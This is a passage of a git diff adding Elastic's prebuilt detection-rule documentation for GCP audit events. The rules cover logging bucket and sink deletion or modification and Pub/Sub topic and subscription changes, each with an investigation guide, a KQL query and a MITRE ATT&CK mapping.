service account to detect any further suspicious activities or unauthorized access attempts. +- Escalate the incident to the security operations team for a comprehensive review and to determine if further investigation or response is required. +- Review and update the key rotation policy to ensure that service account keys are rotated more frequently and securely managed to prevent similar incidents in the future. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.iam.admin.v*.DeleteServiceAccountKey and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-logging-bucket-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-logging-bucket-deletion.asciidoc new file mode 100644 index 0000000000..45ce05fd2f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-logging-bucket-deletion.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-34-gcp-logging-bucket-deletion]] +=== GCP Logging Bucket Deletion + +Identifies a Logging bucket deletion in Google Cloud Platform (GCP). Log buckets are containers that store and organize log data. A deleted bucket stays in a pending state for 7 days, and Logging continues to route logs to the bucket during that time. To stop routing logs to a deleted bucket, you can delete the log sinks that have the bucket as their destination, or modify the filter for the sinks to stop it from routing logs to the deleted bucket. An adversary may delete a log bucket to evade detection. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/logging/docs/buckets +* https://cloud.google.com/logging/docs/storage + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Logging Bucket Deletion* + + +In GCP, log buckets are essential for storing and organizing log data, crucial for monitoring and auditing activities. Adversaries may delete these buckets to obscure their tracks and evade detection. The detection rule identifies successful deletion events by monitoring specific audit logs, focusing on actions that indicate bucket removal. This helps security analysts quickly spot and respond to potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.logging.v*.ConfigServiceV*.DeleteBucket to confirm the deletion event and gather details such as the timestamp, user identity, and source IP address. +- Investigate the user account associated with the event to determine if the action was authorized or if there are any signs of compromise, such as unusual login locations or times. +- Check for any recent changes to log sinks that might indicate an attempt to stop log routing to the deleted bucket, which could suggest intentional evasion. +- Assess the impact of the bucket deletion by identifying which logs were being routed to the bucket and determining if any critical log data might be lost or compromised. +- Look for any correlated events or alerts around the same timeframe that might indicate a broader attack or unauthorized activity within the GCP environment. + + +*False positive analysis* + + +- Routine maintenance activities by administrators may trigger bucket deletion events. To manage this, create exceptions for known maintenance periods or specific user accounts responsible for these tasks. +- Automated scripts or tools used for log management might delete buckets as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by filtering based on their service accounts or specific identifiers. +- Testing environments often involve the creation and deletion of resources, including log buckets. Exclude events from these environments by using labels or project identifiers to differentiate them from production environments. +- Scheduled cleanup jobs that remove old or unused buckets can generate false positives. Document these jobs and adjust the detection rule to ignore deletions occurring within their scheduled time frames. +- Misconfigured log sinks that inadvertently delete buckets should be reviewed. Regularly audit and adjust sink configurations to ensure they align with intended log routing and retention policies. + + +*Response and remediation* + + +- Immediately halt any ongoing log routing to the deleted bucket by deleting or modifying the log sinks associated with it to prevent further data loss. +- Restore the deleted log bucket from its pending deletion state within the 7-day window to recover any logs that may still be routed to it. +- Conduct a thorough review of IAM permissions and roles to ensure that only authorized personnel have the ability to delete log buckets, reducing the risk of unauthorized deletions. +- Implement additional logging and monitoring for any changes to log sinks and bucket configurations to detect and respond to similar activities promptly. +- Escalate the incident to the security operations team for further investigation and to determine if the deletion was part of a broader attack strategy. +- Review and update incident response plans to include specific procedures for handling log bucket deletions and similar defense evasion tactics. +- Consider enabling alerts for any future attempts to delete log buckets, ensuring rapid detection and response to potential threats. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.logging.v*.ConfigServiceV*.DeleteBucket and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-logging-sink-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-logging-sink-deletion.asciidoc new file mode 100644 index 0000000000..7f34b30a2d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-logging-sink-deletion.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-34-gcp-logging-sink-deletion]] +=== GCP Logging Sink Deletion + +Identifies a Logging sink deletion in Google Cloud Platform (GCP). Every time a log entry arrives, Logging compares the log entry to the sinks in that resource. Each sink whose filter matches the log entry writes a copy of the log entry to the sink's export destination. An adversary may delete a Logging sink to evade detection. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/logging/docs/export + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Logging Sink Deletion* + + +In GCP, logging sinks are crucial for exporting log entries to designated destinations for analysis and storage. Adversaries may delete these sinks to prevent logs from being exported, thereby evading detection. The detection rule identifies successful deletion events by monitoring specific audit logs, helping security teams quickly respond to potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.logging.v*.ConfigServiceV*.DeleteSink to identify the user or service account responsible for the deletion. +- Check the event.dataset:gcp.audit logs for any preceding or subsequent suspicious activities by the same user or service account, which might indicate a pattern of malicious behavior. +- Investigate the event.outcome:success to confirm the deletion was successful and determine the impact on log monitoring and export capabilities. +- Assess the context and timing of the deletion event to see if it coincides with other security alerts or incidents, which might suggest a coordinated attack. +- Verify the permissions and roles assigned to the user or service account involved in the deletion to ensure they align with the principle of least privilege and identify any potential misconfigurations. + + +*False positive analysis* + + +- Routine maintenance or configuration changes by authorized personnel can trigger false positives. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or tools used for managing logging configurations might inadvertently delete sinks as part of their operation. Identify these scripts and exclude their actions from triggering alerts by using specific identifiers or service accounts. +- Changes in project ownership or restructuring within the organization can lead to legitimate sink deletions. Document these organizational changes and adjust the monitoring rules to account for them, ensuring that alerts are only generated for unexpected deletions. +- Test environments often undergo frequent changes, including sink deletions, which can result in false positives. Implement separate monitoring rules or exceptions for test environments to reduce noise in alerting. + + +*Response and remediation* + + +- Immediately revoke access to the affected GCP project for any suspicious or unauthorized users identified in the audit logs to prevent further malicious activity. +- Restore the deleted logging sink by recreating it with the original configuration to ensure that log entries are once again exported to the designated destination. +- Conduct a thorough review of recent log entries and audit logs to identify any other unauthorized changes or suspicious activities that may have occurred around the time of the sink deletion. +- Implement additional monitoring and alerting for any future attempts to delete logging sinks, focusing on the specific event action and outcome fields used in the detection query. +- Escalate the incident to the security operations team for further investigation and to determine if the sink deletion is part of a larger attack campaign. +- Review and update access controls and permissions for logging sink management to ensure that only authorized personnel have the ability to modify or delete sinks. +- Consider enabling additional security features such as VPC Service Controls or Organization Policy constraints to provide an extra layer of protection against unauthorized modifications to logging configurations. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.logging.v*.ConfigServiceV*.DeleteSink and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-logging-sink-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-logging-sink-modification.asciidoc new file mode 100644 index 0000000000..da7bd040a1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-logging-sink-modification.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-gcp-logging-sink-modification]] +=== GCP Logging Sink Modification + +Identifies a modification to a Logging sink in Google Cloud Platform (GCP). Logging compares the log entry to the sinks in that resource. Each sink whose filter matches the log entry writes a copy of the log entry to the sink's export destination. An adversary may update a Logging sink to exfiltrate logs to a different export destination. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/logging/docs/export#how_sinks_work + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Exfiltration +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Logging Sink Modification* + + +In GCP, logging sinks are used to route log entries to specified destinations for storage or analysis. Adversaries may exploit this by altering sink configurations to redirect logs to unauthorized locations, facilitating data exfiltration. The detection rule identifies successful modifications to logging sinks, signaling potential misuse by monitoring specific audit events related to sink updates. + + +*Possible investigation steps* + + +- Review the event details for the specific `event.action` field value `google.logging.v*.ConfigServiceV*.UpdateSink` to confirm the type of modification made to the logging sink. +- Check the `event.outcome` field to ensure the modification was successful, as indicated by the value `success`. +- Identify the user or service account responsible for the modification by examining the `actor` or `principalEmail` fields in the audit log. +- Investigate the `resource` field to determine which logging sink was modified and assess its intended purpose and usual configuration. +- Analyze the `destination` field in the sink configuration to verify if the new export destination is authorized and aligns with organizational policies. +- Review historical logs for any previous modifications to the same logging sink to identify patterns or repeated unauthorized changes. +- Correlate this event with other security alerts or anomalies in the environment to assess if this modification is part of a broader attack or data exfiltration attempt. + + +*False positive analysis* + + +- Routine updates to logging sinks by authorized personnel can trigger alerts. To manage this, maintain a list of known and trusted users who regularly perform these updates and create exceptions for their actions. +- Automated processes or scripts that update logging sinks as part of regular maintenance or deployment activities may cause false positives. Identify these processes and exclude their specific actions from triggering alerts. +- Changes to logging sinks during scheduled maintenance windows can be mistaken for unauthorized modifications. Define and exclude these time periods from monitoring to reduce unnecessary alerts. +- Integration with third-party tools that require sink modifications for functionality might generate false positives. Document these integrations and adjust the detection rule to account for their expected behavior. +- Frequent changes in a dynamic environment, such as development or testing environments, can lead to false positives. Consider applying the rule more stringently in production environments while relaxing it in non-production settings. + + +*Response and remediation* + + +- Immediately review the audit logs to confirm the unauthorized modification of the logging sink and identify the source of the change, including the user account and IP address involved. +- Revert the logging sink configuration to its original state to ensure logs are directed to the intended, secure destination. +- Temporarily disable or restrict access to the user account or service account that made the unauthorized change to prevent further unauthorized actions. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized modification and initial containment actions taken. +- Conduct a thorough investigation to determine if any data was exfiltrated and assess the potential impact on the organization. +- Implement additional monitoring and alerting for changes to logging sink configurations to detect similar unauthorized modifications in the future. +- Review and strengthen access controls and permissions related to logging sink configurations to prevent unauthorized modifications, ensuring that only authorized personnel have the necessary permissions. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.logging.v*.ConfigServiceV*.UpdateSink and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-pub-sub-subscription-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-pub-sub-subscription-creation.asciidoc new file mode 100644 index 0000000000..67bbb59016 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-pub-sub-subscription-creation.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-34-gcp-pub-sub-subscription-creation]] +=== GCP Pub/Sub Subscription Creation + +Identifies the creation of a subscription in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A subscription is a named resource representing the stream of messages to be delivered to the subscribing application. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/pubsub/docs/overview + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Collection +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Pub/Sub Subscription Creation* + + +Google Cloud Pub/Sub is a messaging service that enables asynchronous communication between applications by decoupling event producers and consumers. Adversaries might exploit this by creating unauthorized subscriptions to intercept or exfiltrate sensitive data streams. The detection rule monitors audit logs for successful subscription creation events, helping identify potential misuse by flagging unexpected or suspicious activity. + + +*Possible investigation steps* + + +- Review the audit log entry associated with the alert to identify the user or service account responsible for the subscription creation by examining the `event.dataset` and `event.action` fields. +- Verify the legitimacy of the subscription by checking the associated project and topic details to ensure they align with expected configurations and business needs. +- Investigate the history of the user or service account involved in the subscription creation to identify any unusual or unauthorized activities, focusing on recent changes or access patterns. +- Assess the permissions and roles assigned to the user or service account to determine if they have the necessary privileges for subscription creation and whether these permissions are appropriate. +- Consult with relevant stakeholders or application owners to confirm whether the subscription creation was authorized and necessary for operational purposes. + + +*False positive analysis* + + +- Routine subscription creation by automated deployment tools or scripts can trigger false positives. Identify and whitelist these tools by excluding their service accounts from the detection rule. +- Development and testing environments often create and delete subscriptions frequently. Exclude these environments by filtering out specific project IDs associated with non-production use. +- Scheduled maintenance or updates might involve creating new subscriptions temporarily. Coordinate with the operations team to understand regular maintenance schedules and adjust the rule to ignore these activities during known maintenance windows. +- Internal monitoring or logging services that create subscriptions for legitimate data collection purposes can be excluded by identifying their specific patterns or naming conventions and adding them to an exception list. + + +*Response and remediation* + + +- Immediately review the audit logs to confirm the unauthorized subscription creation and identify the source, including the user or service account responsible for the action. +- Revoke access for the identified user or service account to prevent further unauthorized actions. Ensure that the principle of least privilege is enforced. +- Delete the unauthorized subscription to stop any potential data interception or exfiltration. +- Conduct a thorough review of all existing subscriptions to ensure no other unauthorized subscriptions exist. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring and alerting for subscription creation events to detect similar activities in the future. +- If applicable, report the incident to Google Cloud support for further assistance and to understand if there are any broader implications or vulnerabilities. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.pubsub.v*.Subscriber.CreateSubscription and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Automated Collection +** ID: T1119 +** Reference URL: https://attack.mitre.org/techniques/T1119/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-pub-sub-subscription-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-pub-sub-subscription-deletion.asciidoc new file mode 100644 index 0000000000..6cb1c8f1d3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-pub-sub-subscription-deletion.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-gcp-pub-sub-subscription-deletion]] +=== GCP Pub/Sub Subscription Deletion + +Identifies the deletion of a subscription in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A subscription is a named resource representing the stream of messages to be delivered to the subscribing application. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/pubsub/docs/overview + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Pub/Sub Subscription Deletion* + + +Google Cloud Pub/Sub is a messaging service that enables asynchronous communication between event producers and consumers. Subscriptions in Pub/Sub are crucial for message delivery to applications. Adversaries may delete subscriptions to disrupt communication, evade detection, or impair defenses. The detection rule monitors audit logs for successful subscription deletions, flagging potential defense evasion activities. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.pubsub.v*.Subscriber.DeleteSubscription to identify the user or service account responsible for the deletion. +- Check the event.dataset:gcp.audit logs for any preceding or subsequent actions by the same user or service account to determine if there is a pattern of suspicious activity. +- Investigate the context of the deleted subscription by examining the associated project and any related resources to understand the potential impact on the application or service. +- Verify if the deletion aligns with any recent changes or maintenance activities within the organization to rule out legitimate actions. +- Assess the permissions and roles assigned to the user or service account to ensure they are appropriate and not overly permissive, which could indicate a security risk. +- Consult with the relevant application or service owners to confirm whether the subscription deletion was authorized and necessary. + + +*False positive analysis* + + +- Routine maintenance activities by administrators may lead to subscription deletions that are not malicious. To manage this, create exceptions for known maintenance windows or specific admin accounts. +- Automated scripts or tools used for managing Pub/Sub resources might delete subscriptions as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using service account identifiers. +- Development and testing environments often involve frequent creation and deletion of subscriptions. Exclude these environments from alerts by filtering based on project IDs or environment tags. +- Subscription deletions as part of a resource cleanup process can be non-threatening. Document and exclude these processes by identifying patterns in the audit logs, such as specific user agents or IP addresses associated with cleanup operations. + + +*Response and remediation* + + +- Immediately verify the legitimacy of the subscription deletion by contacting the responsible team or individual to confirm if the action was authorized. +- If unauthorized, revoke access for the user or service account involved in the deletion to prevent further unauthorized actions. +- Restore the deleted subscription from backup or recreate it if necessary, ensuring that message delivery to the application is resumed. +- Conduct a thorough review of audit logs to identify any other suspicious activities or patterns that may indicate further compromise. +- Implement additional access controls and monitoring for Pub/Sub resources to prevent unauthorized deletions in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data were affected. +- Update incident response plans and playbooks to include specific procedures for handling Pub/Sub subscription deletions and similar threats. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.pubsub.v*.Subscriber.DeleteSubscription and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-pub-sub-topic-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-pub-sub-topic-creation.asciidoc new file mode 100644 index 0000000000..626471c00b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-pub-sub-topic-creation.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-gcp-pub-sub-topic-creation]] +=== GCP Pub/Sub Topic Creation + +Identifies the creation of a topic in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A topic is used to forward messages from publishers to subscribers. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/pubsub/docs/admin + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Collection +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Pub/Sub Topic Creation* + + +Google Cloud Pub/Sub is a messaging service that enables asynchronous communication between independent applications. It uses topics to route messages from publishers to subscribers. Adversaries might exploit this by creating unauthorized topics to exfiltrate data or disrupt services. The detection rule monitors successful topic creation events, helping identify potential misuse by flagging unexpected or suspicious activity. + + +*Possible investigation steps* + + +- Review the event details to confirm the presence of the event.action field with the value google.pubsub.v*.Publisher.CreateTopic and ensure the event.outcome is success. +- Identify the user or service account associated with the topic creation by examining the actor information in the event logs. +- Check the project and resource details to determine the context and environment where the topic was created, including the project ID and resource name. +- Investigate the purpose and necessity of the newly created topic by consulting with relevant stakeholders or reviewing documentation related to the project. +- Analyze historical logs to identify any unusual patterns or anomalies in topic creation activities by the same user or within the same project. +- Assess the permissions and roles assigned to the user or service account to ensure they align with the principle of least privilege. +- If suspicious activity is confirmed, consider implementing additional monitoring or access controls to prevent unauthorized topic creation in the future. + + +*False positive analysis* + + +- Routine topic creation by automated processes or scripts can trigger false positives. Identify and document these processes to create exceptions in the monitoring system. +- Development and testing environments often involve frequent topic creation. Exclude these environments from alerts by using environment-specific tags or labels. +- Scheduled maintenance or updates by cloud administrators may result in legitimate topic creation. Coordinate with the operations team to whitelist these activities during known maintenance windows. +- Third-party integrations or services that rely on Pub/Sub for communication might create topics as part of their normal operation. Review and approve these integrations to prevent unnecessary alerts. +- Internal applications with dynamic topic creation as part of their workflow should be assessed and, if deemed non-threatening, added to an exception list to reduce noise. + + +*Response and remediation* + + +- Immediately review the audit logs to confirm the unauthorized creation of the Pub/Sub topic and identify the user or service account responsible for the action. +- Revoke or limit permissions for the identified user or service account to prevent further unauthorized actions, ensuring that only necessary permissions are granted. +- Delete the unauthorized Pub/Sub topic to prevent any potential data exfiltration or disruption of services. +- Conduct a thorough review of other Pub/Sub topics and related resources to ensure no additional unauthorized topics have been created. +- Notify the security team and relevant stakeholders about the incident for further investigation and to assess potential impacts on the organization. +- Implement additional monitoring and alerting for Pub/Sub topic creation events to detect and respond to similar threats more quickly in the future. +- Consider enabling organization-wide policies that restrict who can create Pub/Sub topics to reduce the risk of unauthorized actions. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.pubsub.v*.Publisher.CreateTopic and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-pub-sub-topic-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-pub-sub-topic-deletion.asciidoc new file mode 100644 index 0000000000..1c5ff03a9c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-pub-sub-topic-deletion.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-gcp-pub-sub-topic-deletion]] +=== GCP Pub/Sub Topic Deletion + +Identifies the deletion of a topic in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A publisher application creates and sends messages to a topic. Deleting a topic can interrupt message flow in the Pub/Sub pipeline. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/pubsub/docs/overview + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* 